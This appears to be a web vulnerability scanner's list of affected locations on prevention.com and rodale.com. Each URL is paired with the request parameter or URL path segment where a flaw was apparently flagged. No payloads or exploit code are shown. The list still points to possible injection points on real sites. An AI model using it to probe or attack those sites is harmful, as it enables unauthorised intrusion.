http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ [REST URL parameter 6]
http://www.prevention.com/health/health/a-spoonful-of-health/ [REST URL parameter 3]
http://www.prevention.com/health/health/a-spoonful-of-health/ [REST URL parameter 3]
http://www.prevention.com/health/health/health-concerns/cold-flu [REST URL parameter 3]
http://www.prevention.com/health/health/health-concerns/cold-flu [REST URL parameter 3]
http://www.prevention.com/health/health/health-concerns/cold-flu [REST URL parameter 4]
http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ [REST URL parameter 3]
http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ [REST URL parameter 3]
http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ [REST URL parameter 4]
http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ [REST URL parameter 5]
http://www.prevention.com/health/health/healthy-living/carrie-ann-inaba-s-health-and-fitness-tips/article/16ee7ede8d77e210VgnVCM10000030281eac____ [REST URL parameter 6]
http://www.prevention.com/health/health/healthy-living/pets [REST URL parameter 3]
http://www.prevention.com/health/health/healthy-living/pets [REST URL parameter 3]
http://www.prevention.com/health/health/healthy-living/pets [REST URL parameter 4]
http://www.prevention.com/health/news-voices/videos [REST URL parameter 3]
http://www.prevention.com/health/news-voices/videos [REST URL parameter 3]
http://www.rodale.com/ [name of an arbitrarily supplied request parameter]
http://www.rodale.com/1,6597,8-114,00.html [REST URL parameter 1]
http://www.rodale.com/1,6597,8-114,00.html [name of an arbitrarily supplied request parameter]
http://www.rodale.com/benefits-walking [REST URL parameter 1]
http://www.rodale.com/benefits-walking [name of an arbitrarily supplied request parameter]
http://www.rodale.com/cas [REST URL parameter 1]
http://www.rodale.com/caslogin [REST URL parameter 1]
http://www.rodale.com/chemicals-plastic [REST URL parameter 1]
http://www.rodale.com/chemicals-plastic [name of an arbitrarily supplied request parameter]
http://www.rodale.com/contact [REST URL parameter 1]
http://www.rodale.com/contact [name of an arbitrarily supplied request parameter]
http://www.rodale.com/cookware-comparison [REST URL parameter 1]
http://www.rodale.com/cookware-comparison [name of an arbitrarily supplied request parameter]
http://www.rodale.com/corp/sub/0,,1-28,00.html [REST URL parameter 1]
http://www.rodale.com/corp/sub/0,,1-28,00.html [REST URL parameter 2]
http://www.rodale.com/corp/sub/0,,1-28,00.html [REST URL parameter 3]
http://www.rodale.com/corp/sub/0,,1-28,00.html [name of an arbitrarily supplied request parameter]
http://www.rodale.com/corp/sub/1,1874,1-28,00.html [REST URL parameter 1]
http://www.rodale.com/corp/sub/1,1874,1-28,00.html [REST URL parameter 2]
http://www.rodale.com/corp/sub/1,1874,1-28,00.html [REST URL parameter 3]
http://www.rodale.com/corp/sub/1,1874,1-28,00.html [name of an arbitrarily supplied request parameter]
http://www.rodale.com/cracker-recipes [REST URL parameter 1]
http://www.rodale.com/cracker-recipes [name of an arbitrarily supplied request parameter]
http://www.rodale.com/crib-safety [REST URL parameter 1]
http://www.rodale.com/crib-safety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/edible-insects [REST URL parameter 1]
http://www.rodale.com/edible-insects [name of an arbitrarily supplied request parameter]
http://www.rodale.com/environment [REST URL parameter 1]
http://www.rodale.com/environment [name of an arbitrarily supplied request parameter]
http://www.rodale.com/files/rodalenews_favicon.ico [REST URL parameter 1]
http://www.rodale.com/files/rodalenews_favicon.ico [REST URL parameter 2]
http://www.rodale.com/fitness [REST URL parameter 1]
http://www.rodale.com/fitness [name of an arbitrarily supplied request parameter]
http://www.rodale.com/food [REST URL parameter 1]
http://www.rodale.com/food [name of an arbitrarily supplied request parameter]
http://www.rodale.com/green-kitchen-safety-tips [REST URL parameter 1]
http://www.rodale.com/green-kitchen-safety-tips [name of an arbitrarily supplied request parameter]
http://www.rodale.com/green-school-supplies [REST URL parameter 1]
http://www.rodale.com/green-school-supplies [name of an arbitrarily supplied request parameter]
http://www.rodale.com/happiest-place-live-united-states [REST URL parameter 1]
http://www.rodale.com/happiest-place-live-united-states [name of an arbitrarily supplied request parameter]
http://www.rodale.com/health [REST URL parameter 1]
http://www.rodale.com/health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/heart-attack-triggers [REST URL parameter 1]
http://www.rodale.com/heart-attack-triggers [name of an arbitrarily supplied request parameter]
http://www.rodale.com/how-prevent-hangover [REST URL parameter 1]
http://www.rodale.com/how-prevent-hangover [name of an arbitrarily supplied request parameter]
http://www.rodale.com/lean-belly-prescription-0 [REST URL parameter 1]
http://www.rodale.com/lean-belly-prescription-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/living [REST URL parameter 1]
http://www.rodale.com/living [name of an arbitrarily supplied request parameter]
http://www.rodale.com/natural-sleep-remedies [REST URL parameter 1]
http://www.rodale.com/natural-sleep-remedies [name of an arbitrarily supplied request parameter]
http://www.rodale.com/news [REST URL parameter 1]
http://www.rodale.com/news [name of an arbitrarily supplied request parameter]
http://www.rodale.com/our-board-advisors [REST URL parameter 1]
http://www.rodale.com/our-board-advisors [name of an arbitrarily supplied request parameter]
http://www.rodale.com/our-site-policies [REST URL parameter 1]
http://www.rodale.com/our-site-policies [name of an arbitrarily supplied request parameter]
http://www.rodale.com/plastic-bag-ban [REST URL parameter 1]
http://www.rodale.com/plastic-bag-ban [name of an arbitrarily supplied request parameter]
http://www.rodale.com/plastic-free [REST URL parameter 1]
http://www.rodale.com/plastic-free [name of an arbitrarily supplied request parameter]
http://www.rodale.com/point-view [REST URL parameter 1]
http://www.rodale.com/point-view [name of an arbitrarily supplied request parameter]
http://www.rodale.com/recipe_query_redirect.php [REST URL parameter 1]
http://www.rodale.com/rodale-story [REST URL parameter 1]
http://www.rodale.com/rodale_coreg/post [REST URL parameter 1]
http://www.rodale.com/rodale_coreg/post [REST URL parameter 2]
http://www.rodale.com/rodalecom-team [REST URL parameter 1]
http://www.rodale.com/rodalecom-team [name of an arbitrarily supplied request parameter]
http://www.rodale.com/rss-feeds [REST URL parameter 1]
http://www.rodale.com/rss-feeds [name of an arbitrarily supplied request parameter]
http://www.rodale.com/rss.xml [REST URL parameter 1]
http://www.rodale.com/search/google_appliance [REST URL parameter 1]
http://www.rodale.com/search/google_appliance [REST URL parameter 2]
http://www.rodale.com/search/google_appliance [name of an arbitrarily supplied request parameter]
http://www.rodale.com/search/google_appliance/BPA [REST URL parameter 1]
http://www.rodale.com/search/google_appliance/BPA [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/BPA [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/BPA [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/BPA [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/BPA [name of an arbitrarily supplied request parameter]
http://www.rodale.com/search/google_appliance/Cleaning [REST URL parameter 1]
http://www.rodale.com/search/google_appliance/Cleaning [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Cleaning [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Cleaning [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Cleaning [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Cleaning [name of an arbitrarily supplied request parameter]
http://www.rodale.com/search/google_appliance/Food+Safety [REST URL parameter 1]
http://www.rodale.com/search/google_appliance/Food+Safety [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Food+Safety [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Food+Safety [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Food+Safety [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Food+Safety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/search/google_appliance/Organic+Food [REST URL parameter 1]
http://www.rodale.com/search/google_appliance/Organic+Food [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Organic+Food [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Organic+Food [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Organic+Food [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Organic+Food [name of an arbitrarily supplied request parameter]
http://www.rodale.com/search/google_appliance/Organic+Gardening [REST URL parameter 1]
http://www.rodale.com/search/google_appliance/Organic+Gardening [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Organic+Gardening [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Organic+Gardening [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Organic+Gardening [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Organic+Gardening [name of an arbitrarily supplied request parameter]
http://www.rodale.com/search/google_appliance/Pesticides [REST URL parameter 1]
http://www.rodale.com/search/google_appliance/Pesticides [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Pesticides [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Pesticides [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Pesticides [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Pesticides [name of an arbitrarily supplied request parameter]
http://www.rodale.com/search/google_appliance/Recipes [REST URL parameter 1]
http://www.rodale.com/search/google_appliance/Recipes [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Recipes [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Recipes [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Recipes [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Recipes [name of an arbitrarily supplied request parameter]
http://www.rodale.com/search/google_appliance/Stress [REST URL parameter 1]
http://www.rodale.com/search/google_appliance/Stress [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Stress [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Stress [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Stress [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Stress [name of an arbitrarily supplied request parameter]
http://www.rodale.com/search/google_appliance/Weight+Loss [REST URL parameter 1]
http://www.rodale.com/search/google_appliance/Weight+Loss [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Weight+Loss [REST URL parameter 2]
http://www.rodale.com/search/google_appliance/Weight+Loss [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Weight+Loss [REST URL parameter 3]
http://www.rodale.com/search/google_appliance/Weight+Loss [name of an arbitrarily supplied request parameter]
http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 1]
http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 2]
http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 3]
http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 4]
http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 5]
http://www.rodale.com/sites/all/themes/rodalenews/static/rodale-shopping.html [REST URL parameter 6]
http://www.rodale.com/topic/acid-reflux [REST URL parameter 1]
http://www.rodale.com/topic/acid-reflux [REST URL parameter 2]
http://www.rodale.com/topic/acid-reflux [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/addadhd [REST URL parameter 1]
http://www.rodale.com/topic/addadhd [REST URL parameter 2]
http://www.rodale.com/topic/addadhd [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/aging [REST URL parameter 1]
http://www.rodale.com/topic/aging [REST URL parameter 2]
http://www.rodale.com/topic/aging [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/air-pollution-0 [REST URL parameter 1]
http://www.rodale.com/topic/air-pollution-0 [REST URL parameter 2]
http://www.rodale.com/topic/air-pollution-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/alcohol [REST URL parameter 1]
http://www.rodale.com/topic/alcohol [REST URL parameter 2]
http://www.rodale.com/topic/alcohol [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/allergies [REST URL parameter 1]
http://www.rodale.com/topic/allergies [REST URL parameter 2]
http://www.rodale.com/topic/allergies [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/alternative-medicine [REST URL parameter 1]
http://www.rodale.com/topic/alternative-medicine [REST URL parameter 2]
http://www.rodale.com/topic/alternative-medicine [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/anger-management [REST URL parameter 1]
http://www.rodale.com/topic/anger-management [REST URL parameter 2]
http://www.rodale.com/topic/anger-management [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/antibacterial-soaps-and-cleaners [REST URL parameter 1]
http://www.rodale.com/topic/antibacterial-soaps-and-cleaners [REST URL parameter 2]
http://www.rodale.com/topic/antibacterial-soaps-and-cleaners [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/antioxidants-0 [REST URL parameter 1]
http://www.rodale.com/topic/antioxidants-0 [REST URL parameter 2]
http://www.rodale.com/topic/antioxidants-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/anxiety [REST URL parameter 1]
http://www.rodale.com/topic/anxiety [REST URL parameter 2]
http://www.rodale.com/topic/anxiety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/arthritis [REST URL parameter 1]
http://www.rodale.com/topic/arthritis [REST URL parameter 2]
http://www.rodale.com/topic/arthritis [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/asthma [REST URL parameter 1]
http://www.rodale.com/topic/asthma [REST URL parameter 2]
http://www.rodale.com/topic/asthma [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/autism [REST URL parameter 1]
http://www.rodale.com/topic/autism [REST URL parameter 2]
http://www.rodale.com/topic/autism [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/baby-care [REST URL parameter 1]
http://www.rodale.com/topic/baby-care [REST URL parameter 2]
http://www.rodale.com/topic/baby-care [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/backyard-chickens [REST URL parameter 1]
http://www.rodale.com/topic/backyard-chickens [REST URL parameter 2]
http://www.rodale.com/topic/backyard-chickens [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/beach-safety [REST URL parameter 1]
http://www.rodale.com/topic/beach-safety [REST URL parameter 2]
http://www.rodale.com/topic/beach-safety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/bees [REST URL parameter 1]
http://www.rodale.com/topic/bees [REST URL parameter 2]
http://www.rodale.com/topic/bees [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/beverages [REST URL parameter 1]
http://www.rodale.com/topic/beverages [REST URL parameter 2]
http://www.rodale.com/topic/beverages [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/bicycling [REST URL parameter 1]
http://www.rodale.com/topic/bicycling [REST URL parameter 2]
http://www.rodale.com/topic/bicycling [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/birds [REST URL parameter 1]
http://www.rodale.com/topic/birds [REST URL parameter 2]
http://www.rodale.com/topic/birds [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/blood-pressure [REST URL parameter 1]
http://www.rodale.com/topic/blood-pressure [REST URL parameter 2]
http://www.rodale.com/topic/blood-pressure [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/body-image [REST URL parameter 1]
http://www.rodale.com/topic/body-image [REST URL parameter 2]
http://www.rodale.com/topic/body-image [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/bone-health [REST URL parameter 1]
http://www.rodale.com/topic/bone-health [REST URL parameter 2]
http://www.rodale.com/topic/bone-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/bpa-and-plastic [REST URL parameter 1]
http://www.rodale.com/topic/bpa-and-plastic [REST URL parameter 2]
http://www.rodale.com/topic/bpa-and-plastic [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/brain-health [REST URL parameter 1]
http://www.rodale.com/topic/brain-health [REST URL parameter 2]
http://www.rodale.com/topic/brain-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/breast-cancer-0 [REST URL parameter 1]
http://www.rodale.com/topic/breast-cancer-0 [REST URL parameter 2]
http://www.rodale.com/topic/breast-cancer-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/cancer [REST URL parameter 1]
http://www.rodale.com/topic/cancer [REST URL parameter 2]
http://www.rodale.com/topic/cancer [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/car-safety [REST URL parameter 1]
http://www.rodale.com/topic/car-safety [REST URL parameter 2]
http://www.rodale.com/topic/car-safety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/cell-phones-0 [REST URL parameter 1]
http://www.rodale.com/topic/cell-phones-0 [REST URL parameter 2]
http://www.rodale.com/topic/cell-phones-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/cellphones [REST URL parameter 1]
http://www.rodale.com/topic/cellphones [REST URL parameter 2]
http://www.rodale.com/topic/cellphones [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/chemical-farming-0 [REST URL parameter 1]
http://www.rodale.com/topic/chemical-farming-0 [REST URL parameter 2]
http://www.rodale.com/topic/chemical-farming-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/child-nutrition [REST URL parameter 1]
http://www.rodale.com/topic/child-nutrition [REST URL parameter 2]
http://www.rodale.com/topic/child-nutrition [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/childhood-nutrition [REST URL parameter 1]
http://www.rodale.com/topic/childhood-nutrition [REST URL parameter 2]
http://www.rodale.com/topic/childhood-nutrition [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/childhood-obesity [REST URL parameter 1]
http://www.rodale.com/topic/childhood-obesity [REST URL parameter 2]
http://www.rodale.com/topic/childhood-obesity [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/childrens-health [REST URL parameter 1]
http://www.rodale.com/topic/childrens-health [REST URL parameter 2]
http://www.rodale.com/topic/childrens-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/cholesterol [REST URL parameter 1]
http://www.rodale.com/topic/cholesterol [REST URL parameter 2]
http://www.rodale.com/topic/cholesterol [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/chronic-pain [REST URL parameter 1]
http://www.rodale.com/topic/chronic-pain [REST URL parameter 2]
http://www.rodale.com/topic/chronic-pain [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/clean-energy [REST URL parameter 1]
http://www.rodale.com/topic/clean-energy [REST URL parameter 2]
http://www.rodale.com/topic/clean-energy [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/cleaning-products [REST URL parameter 1]
http://www.rodale.com/topic/cleaning-products [REST URL parameter 2]
http://www.rodale.com/topic/cleaning-products [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/climate-change [REST URL parameter 1]
http://www.rodale.com/topic/climate-change [REST URL parameter 2]
http://www.rodale.com/topic/climate-change [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/coffee [REST URL parameter 1]
http://www.rodale.com/topic/coffee [REST URL parameter 2]
http://www.rodale.com/topic/coffee [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/cold-and-flu [REST URL parameter 1]
http://www.rodale.com/topic/cold-and-flu [REST URL parameter 2]
http://www.rodale.com/topic/cold-and-flu [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/colon-cancer [REST URL parameter 1]
http://www.rodale.com/topic/colon-cancer [REST URL parameter 2]
http://www.rodale.com/topic/colon-cancer [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/colonoscopy [REST URL parameter 1]
http://www.rodale.com/topic/colonoscopy [REST URL parameter 2]
http://www.rodale.com/topic/colonoscopy [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/compost-0 [REST URL parameter 1]
http://www.rodale.com/topic/compost-0 [REST URL parameter 2]
http://www.rodale.com/topic/compost-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/contraception [REST URL parameter 1]
http://www.rodale.com/topic/contraception [REST URL parameter 2]
http://www.rodale.com/topic/contraception [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/cooking-tips [REST URL parameter 1]
http://www.rodale.com/topic/cooking-tips [REST URL parameter 2]
http://www.rodale.com/topic/cooking-tips [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/cookware [REST URL parameter 1]
http://www.rodale.com/topic/cookware [REST URL parameter 2]
http://www.rodale.com/topic/cookware [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/cool-advice-hot-weather-0 [REST URL parameter 1]
http://www.rodale.com/topic/cool-advice-hot-weather-0 [REST URL parameter 2]
http://www.rodale.com/topic/cool-advice-hot-weather-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/cosmetics [REST URL parameter 1]
http://www.rodale.com/topic/cosmetics [REST URL parameter 2]
http://www.rodale.com/topic/cosmetics [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/csa-community-supported-agriculture [REST URL parameter 1]
http://www.rodale.com/topic/csa-community-supported-agriculture [REST URL parameter 2]
http://www.rodale.com/topic/csa-community-supported-agriculture [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/dairy-products [REST URL parameter 1]
http://www.rodale.com/topic/dairy-products [REST URL parameter 2]
http://www.rodale.com/topic/dairy-products [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/death-and-dying [REST URL parameter 1]
http://www.rodale.com/topic/death-and-dying [REST URL parameter 2]
http://www.rodale.com/topic/death-and-dying [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/dementia-and-alzheimer...s-disease [REST URL parameter 1]
http://www.rodale.com/topic/dementia-and-alzheimer...s-disease [REST URL parameter 2]
http://www.rodale.com/topic/dementia-and-alzheimer...s-disease [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/dental-health [REST URL parameter 1]
http://www.rodale.com/topic/dental-health [REST URL parameter 2]
http://www.rodale.com/topic/dental-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/depression [REST URL parameter 1]
http://www.rodale.com/topic/depression [REST URL parameter 2]
http://www.rodale.com/topic/depression [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/diabetes-0 [REST URL parameter 1]
http://www.rodale.com/topic/diabetes-0 [REST URL parameter 2]
http://www.rodale.com/topic/diabetes-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/digestive-health [REST URL parameter 1]
http://www.rodale.com/topic/digestive-health [REST URL parameter 2]
http://www.rodale.com/topic/digestive-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/drink-recipes [REST URL parameter 1]
http://www.rodale.com/topic/drink-recipes [REST URL parameter 2]
http://www.rodale.com/topic/drink-recipes [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/drinking-water [REST URL parameter 1]
http://www.rodale.com/topic/drinking-water [REST URL parameter 2]
http://www.rodale.com/topic/drinking-water [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/ear-health-and-hearing [REST URL parameter 1]
http://www.rodale.com/topic/ear-health-and-hearing [REST URL parameter 2]
http://www.rodale.com/topic/ear-health-and-hearing [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/elder-care [REST URL parameter 1]
http://www.rodale.com/topic/elder-care [REST URL parameter 2]
http://www.rodale.com/topic/elder-care [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/endangered-species [REST URL parameter 1]
http://www.rodale.com/topic/endangered-species [REST URL parameter 2]
http://www.rodale.com/topic/endangered-species [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/energy-efficiency [REST URL parameter 1]
http://www.rodale.com/topic/energy-efficiency [REST URL parameter 2]
http://www.rodale.com/topic/energy-efficiency [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/erectile-dysfunction [REST URL parameter 1]
http://www.rodale.com/topic/erectile-dysfunction [REST URL parameter 2]
http://www.rodale.com/topic/erectile-dysfunction [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/exercise-and-workout-tips [REST URL parameter 1]
http://www.rodale.com/topic/exercise-and-workout-tips [REST URL parameter 2]
http://www.rodale.com/topic/exercise-and-workout-tips [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/eye-health-and-vision [REST URL parameter 1]
http://www.rodale.com/topic/eye-health-and-vision [REST URL parameter 2]
http://www.rodale.com/topic/eye-health-and-vision [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/factory-farms [REST URL parameter 1]
http://www.rodale.com/topic/factory-farms [REST URL parameter 2]
http://www.rodale.com/topic/factory-farms [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fair-trade [REST URL parameter 1]
http://www.rodale.com/topic/fair-trade [REST URL parameter 2]
http://www.rodale.com/topic/fair-trade [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/farmers-markets [REST URL parameter 1]
http://www.rodale.com/topic/farmers-markets [REST URL parameter 2]
http://www.rodale.com/topic/farmers-markets [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fast-food [REST URL parameter 1]
http://www.rodale.com/topic/fast-food [REST URL parameter 2]
http://www.rodale.com/topic/fast-food [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fatigue [REST URL parameter 1]
http://www.rodale.com/topic/fatigue [REST URL parameter 2]
http://www.rodale.com/topic/fatigue [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fda-recalls-and-safety-alerts [REST URL parameter 1]
http://www.rodale.com/topic/fda-recalls-and-safety-alerts [REST URL parameter 2]
http://www.rodale.com/topic/fda-recalls-and-safety-alerts [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fertility [REST URL parameter 1]
http://www.rodale.com/topic/fertility [REST URL parameter 2]
http://www.rodale.com/topic/fertility [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fertilizers [REST URL parameter 1]
http://www.rodale.com/topic/fertilizers [REST URL parameter 2]
http://www.rodale.com/topic/fertilizers [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/first-aid [REST URL parameter 1]
http://www.rodale.com/topic/first-aid [REST URL parameter 2]
http://www.rodale.com/topic/first-aid [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fish-and-seafood [REST URL parameter 1]
http://www.rodale.com/topic/fish-and-seafood [REST URL parameter 2]
http://www.rodale.com/topic/fish-and-seafood [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fish-oil [REST URL parameter 1]
http://www.rodale.com/topic/fish-oil [REST URL parameter 2]
http://www.rodale.com/topic/fish-oil [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fitness-trends [REST URL parameter 1]
http://www.rodale.com/topic/fitness-trends [REST URL parameter 2]
http://www.rodale.com/topic/fitness-trends [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/flax [REST URL parameter 1]
http://www.rodale.com/topic/flax [REST URL parameter 2]
http://www.rodale.com/topic/flax [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/flowers-and-houseplants [REST URL parameter 1]
http://www.rodale.com/topic/flowers-and-houseplants [REST URL parameter 2]
http://www.rodale.com/topic/flowers-and-houseplants [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/food-allergies [REST URL parameter 1]
http://www.rodale.com/topic/food-allergies [REST URL parameter 2]
http://www.rodale.com/topic/food-allergies [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/food-labeling-and-certification [REST URL parameter 1]
http://www.rodale.com/topic/food-labeling-and-certification [REST URL parameter 2]
http://www.rodale.com/topic/food-labeling-and-certification [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/food-marketing [REST URL parameter 1]
http://www.rodale.com/topic/food-marketing [REST URL parameter 2]
http://www.rodale.com/topic/food-marketing [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/food-packaging [REST URL parameter 1]
http://www.rodale.com/topic/food-packaging [REST URL parameter 2]
http://www.rodale.com/topic/food-packaging [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/food-preservation [REST URL parameter 1]
http://www.rodale.com/topic/food-preservation [REST URL parameter 2]
http://www.rodale.com/topic/food-preservation [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/food-safety [REST URL parameter 1]
http://www.rodale.com/topic/food-safety [REST URL parameter 2]
http://www.rodale.com/topic/food-safety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/food-shopping-and-supermarkets [REST URL parameter 1]
http://www.rodale.com/topic/food-shopping-and-supermarkets [REST URL parameter 2]
http://www.rodale.com/topic/food-shopping-and-supermarkets [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fossil-fuels [REST URL parameter 1]
http://www.rodale.com/topic/fossil-fuels [REST URL parameter 2]
http://www.rodale.com/topic/fossil-fuels [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/fuel-efficiency [REST URL parameter 1]
http://www.rodale.com/topic/fuel-efficiency [REST URL parameter 2]
http://www.rodale.com/topic/fuel-efficiency [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/gardening-tools-and-gear [REST URL parameter 1]
http://www.rodale.com/topic/gardening-tools-and-gear [REST URL parameter 2]
http://www.rodale.com/topic/gardening-tools-and-gear [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/genetically-modified-organisms-gmo [REST URL parameter 1]
http://www.rodale.com/topic/genetically-modified-organisms-gmo [REST URL parameter 2]
http://www.rodale.com/topic/genetically-modified-organisms-gmo [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/global-warming [REST URL parameter 1]
http://www.rodale.com/topic/global-warming [REST URL parameter 2]
http://www.rodale.com/topic/global-warming [name of an arbitrarily supplied request parameter]
